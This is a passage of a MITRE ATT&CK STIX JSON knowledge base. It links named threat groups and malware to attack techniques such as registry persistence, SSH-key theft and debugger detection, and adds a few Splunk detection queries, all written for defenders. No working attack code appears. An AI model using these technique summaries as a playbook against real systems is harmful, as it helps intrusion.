encrypted within the binary.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02f18eff-faf1-421b-a0e9-e9852833bb04","created":"2021-02-25T18:59:16.634Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IronNetInjector](https://attack.mitre.org/software/S0581) can use IronPython scripts to load payloads with the help of a .NET injector.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02fa0350-978f-4b61-b004-82380e70beee","type":"relationship","created":"2021-10-15T19:27:15.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T19:27:15.683Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has used websites with malicious hyperlinks and iframes to infect targeted victims with [Crimson](https://attack.mitre.org/software/S0115), [njRAT](https://attack.mitre.org/software/S0385), and other malicious tools.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Unit 42 ProjectM March 2016)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02fa6833-f06f-4808-ab69-ca565b691e40","created":"2022-01-31T17:15:21.549Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: MSTIC Nobelium Oct 2021)","modified":"2022-04-13T14:35:14.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02fad9c6-12fb-46d0-b307-877e9c80f4d0","created":"2024-07-02T18:07:18.966Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T18:07:18.966Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can capture the recipients of sent email messages from compromised accounts.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02fee6ab-f7a1-4168-919f-63c4f0b3349c","type":"relationship","created":"2020-01-30T17:48:49.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T17:48:49.751Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0303acd0-64a4-4e40-b8e3-29e1c43694d2","created":"2022-08-16T15:45:48.596Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can use Base64 to decode actor-controlled C2 server communications.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-16T15:45:48.596Z","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--030506d0-28fa-4a37-8375-037f7887ccff","created":"2024-07-23T18:18:09.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:24:16.379Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) attempts to identify security software running on the victim machine, such as BitDefender, Avast, and Kaspersky.(Citation: TrendMicro RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03070395-3b76-4351-a3bd-0d9eaaa6652c","type":"relationship","created":"2021-04-20T22:28:08.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T22:28:08.225Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has queried the registry for proxy server information.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--030958f2-615b-4c80-a1ec-38ed335da413","type":"relationship","created":"2019-06-28T17:40:32.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.147Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has created Registry keys for persistence in [HKLM|HKCU]\\…\\CurrentVersion\\Run.(Citation: Cyphort EvilBunny Dec 2014)\t","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--030d00cc-3e9e-4ca1-ab89-e956127d9023","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:03:51.558Z","description":"Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nAnalytic 1 - Look for task file modifications with unusual parameters.\n\n sourcetype=WinEventLog:Security (EventCode=4663 OR file_path=\"C:\\\\Windows\\\\System32\\\\Tasks\\\\*\")\n| stats count by user host file_path action\n| where action=\"Write\" OR action=\"Create\"","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0314a845-98db-4cf9-ac05-875025017636","created":"2024-05-23T23:30:09.257Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T23:30:09.257Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) gathers credential material from target systems, such as SSH keys, to facilitate access to victim environments.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0318431e-ad44-44c7-97be-686d4efe79f4","type":"relationship","created":"2019-02-07T19:13:01.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2020-03-31T22:20:18.066Z","description":"[Impacket](https://attack.mitre.org/software/S0357) modules like ntlmrelayx and smbrelayx can be used in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040) and [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001) to gather NetNTLM credentials for [Brute Force](https://attack.mitre.org/techniques/T1110) or relay attacks that can gain code execution.(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0324f691-2708-4272-86a5-e0cb40aeba9e","created":"2023-09-20T18:18:04.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T18:35:36.556Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) can use the `CheckRemoteDebuggerPresent` function to detect the presence of a debugger.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03251067-ee3a-49e4-addc-86daaa8a3203","type":"relationship","created":"2020-09-11T13:27:44.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.326Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can identify the user and groups the user belongs to on a compromised host.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03256e99-70fb-4d2d-ac8e-79294aef87dc","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for contextual data about named pipes on the system.","source_ref":"x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0327e5d8-877c-4efe-bedc-9807279d74dc","type":"relationship","created":"2021-09-22T15:09:20.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T15:09:20.252Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has the ability to launch scheduled tasks to establish persistence.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--032981a6-3299-4852-bd9c-c691f866bec5","created":"2020-03-20T02:33:03.035Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."},{"source_name":"McAfee GhostSecret","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."},{"source_name":"US-CERT SHARPKNOT June 2018","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf","description":"US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on a compromised host.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: US-CERT SHARPKNOT June 2018)(Citation: Qualys LolZarus) A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.(Citation: McAfee GhostSecret)","modified":"2022-07-28T18:55:35.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.965Z","description":"(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03303147-db81-4cb3-9368-98ee4f963c1a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.205Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloads encoded payloads and decodes them on the victim.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03341b9d-6848-4430-a868-b2bc61b357ba","type":"relationship","created":"2020-05-28T13:27:38.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T13:54:18.982Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to send the compromised user's account name and hostname within a URL to C2.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03351a2c-8fa5-4a1a-9ad5-a8be376a06c8","created":"2024-09-05T22:37:19.246Z","revoked":false,"external_references":[{"source_name":"Trendmicro_IcedID","description":"Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:37:19.246Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has manipulated Keitaro Traffic Direction System to filter researcher and sandbox traffic.(Citation: Trendmicro_IcedID)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0335dd7e-1f5e-4068-b680-197de6c0af68","type":"relationship","created":"2021-09-22T21:17:32.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:32.007Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has encrypted its C2 traffic with RC4.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0337777c-cfe7-4cfa-b1f0-4000d3c8244b","created":"2022-08-08T19:04:57.823Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T19:04:57.823Z","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0337dbde-bc25-47ec-936c-19624d3f0df3","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:22:00.951Z","description":"Monitor for newly constructed files by using the logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments.\n\nNote: This query monitors for .yaml configuration files that are used to define jobs and container behaviors within Kubernetes. Changes or creations of these files should be closely watched.\n\nAnalytic 1 - Look for new file creation events with unusual parameters.\n\n sourcetype=kubernetes:file_creation file_path=\"/etc/kubernetes/manifests/*.yaml\"","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--033a5e59-ab65-485b-a9c0-775977e8abd0","type":"relationship","created":"2019-06-21T17:23:28.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont 